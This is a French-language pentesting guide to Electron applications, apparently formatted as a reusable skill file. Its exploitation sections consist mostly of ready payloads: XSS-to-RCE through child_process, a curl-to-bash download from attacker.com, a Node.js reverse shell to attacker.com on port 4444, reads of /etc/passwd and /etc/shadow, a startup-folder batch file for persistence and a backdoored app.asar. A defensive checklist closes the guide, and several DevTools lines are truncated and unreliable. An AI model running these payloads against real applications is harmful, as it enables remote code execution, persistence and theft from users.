| name | electron-app-pentesting |
| description | Guide complet de pentest des applications Electron — nodeIntegration, contextIsolation, preload scripts, IPC abuse, sandbox escape, asar unpacking, et Chromium flags |
| category | cybersecurite |
Electron App Pentesting — Guide Complet
Architecture Electron
┌──────────────────────────────────────┐
│ Main Process (Node.js) │
│ - Gère la fenêtre, le système │
│ - Accès complet au système │
│ - IPC handler, menus, notifications │
├──────────────────────────────────────┤
│ Renderer Process (Chromium) │
│ - HTML/CSS/JS de l'application │
│ - Isolé par défaut │
│ - Accès limité au système │
├──────────────────────────────────────┤
│ Preload Script (Bridge) │
│ - S'exécute avant le renderer │
│ - Peut exposer des API limitées │
│ - contextBridge pour la sécurité │
└──────────────────────────────────────┘
Reconnaissance
Vérifier les fichiers de l'application
npx asar extract app.asar app-extracted/
npm install -g @electron/asar
asar extract app.asar ./extracted
ls -la extracted/
cat extracted/package.json
cat extracted/main.js | grep -E 'nodeIntegration|contextIsolation|preload|sandbox'
cat extracted/preload.js
Flags de sécurité critiques
const win = new BrowserWindow({
width: 800,
height: 600,
webPreferences: {
nodeIntegration: false,
contextIsolation: true,
preload: path.join(__dirname, 'preload.js'),
sandbox: true,
enableRemoteModule: false,
worldSafeExecuteJavaScript: true,
nodeIntegrationInSubFrames: false,
nodeIntegrationInWorker: false,
}
});
Attaques par flag
1. nodeIntegration: true (RCE)
require('child_process').execSync('calc.exe')
require('child_process').execSync('id')
process.mainModule.require('child_process').execSync('whoami')
<img src=x onerror="require('child_process').execSync('id')">
2. contextIsolation: false (RCE)
window.__proto__.require = (module) => {
return process.mainModule.require(module);
};
Object.defineProperty(window, 'require', {
get: () => process.mainModule.require
});
3. Preload Script Vulnérable
const { contextBridge, ipcRenderer } = require('electron')
contextBridge.exposeInMainWorld('api', {
execCommand: (cmd) => ipcRenderer.invoke('exec', cmd),
readFile: (path) => ipcRenderer.invoke('read', path),
getConfig: () => ipcRenderer.invoke('config'),
})
ipcMain.handle('exec', (event, cmd) => {
return execSync(cmd).toString()
})
4. IPC Channel Hijacking
window.api.execCommand('calc.exe')
window.api.readFile('/etc/passwd')
const ipc = require('electron').ipcRenderer
Object.keys(window.api)
Exploitation
5. XSS → RCE (nodeIntegration=true)
<img src=x onerror="
const { execSync } = require('child_process');
execSync('curl http://attacker.com/shell.sh | bash');
">
<img src=x onerror="
const net = require('net');
const cp = require('child_process');
const sh = cp.spawn('/bin/sh', []);
const client = net.connect(4444, 'attacker.com', () => {
client.pipe(sh.stdin);
sh.stdout.pipe(client);
});
">
6. IPC Abuse (contextIsolation=true mais preload vulnérable)
window.api.execCommand('id')
window.api.readFile('C:\\Users\\victim\\passwords.txt')
window.api.writeFile('C:\\Users\\victim\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\evil.bat', '@echo off\npowershell ...')
7. Protocol Handler Hijacking
app.setAsDefaultProtocolClient('myapp')
<a href="myapp://exec?cmd=calc.exe">Clique ici</a>
window.location = 'myapp://exec?cmd=calc.exe'
8. File Protocol Abuse
location.href = 'file:///etc/passwd'
location.href = 'file:///C:/Windows/System32/drivers/etc/hosts'
<img src="file:///etc/shadow">
Attaques avancées
9. ASAR File Modification
asar extract app.asar ./patch
echo "require('child_process').execSync('id')" >> patch/main.js
asar pack patch app.asar
10. DevTools Exploitation
chrome:
curl http:
curl http:
require('child_process').execSync('id')
11. Shell.openExternal Abuse
const { shell } = require('electron')
shell.openExternal(url)
shell.openExternal('https://phishing.com')
shell.openExternal('file:///C:/Windows/System32/cmd.exe')
12. WebView / BrowserView
<webview src="https://attacker.com" nodeintegration="true"> <!-- Vulnérable -->
<webview src="https://attacker.com" preload="./evil.js">
Outils
npm install -g electra
electra analyze ./app.asar
npm install -g @electron/fuses
npm install -g @electron/asar
npm audit
Checklist
RECONNAISSANCE
☐ Récupérer et extraire l'ASAR
☐ Analyser package.json
☐ Vérifier les flags webPreferences
FLAGS CRITIQUES
☐ nodeIntegration: false ?
☐ contextIsolation: true ?
☐ sandbox: true ?
☐ enableRemoteModule: false ?
☐ nodeIntegrationInSubFrames: false ?
☐ worldSafeExecuteJavaScript: true ?
PRELOAD SCRIPT
☐ Quelles API sont exposées ?
☐ contextBridge utilisé ?
☐ Validation des inputs ?
☐ IPC channels trop permissifs ?
PROTOCOLS
☐ Protocoles custom enregistrés ?
☐ shell.openExternal validé ?
☐ file:// protocol restreint ?
☐ Navigation externe contrôlée ?
AUTRES
☐ DevTools désactivés en production ?
☐ ASAR signé ? (anti-tamper)
☐ Auto-update sécurisé ?
☐ CSP configuré ?
Ressources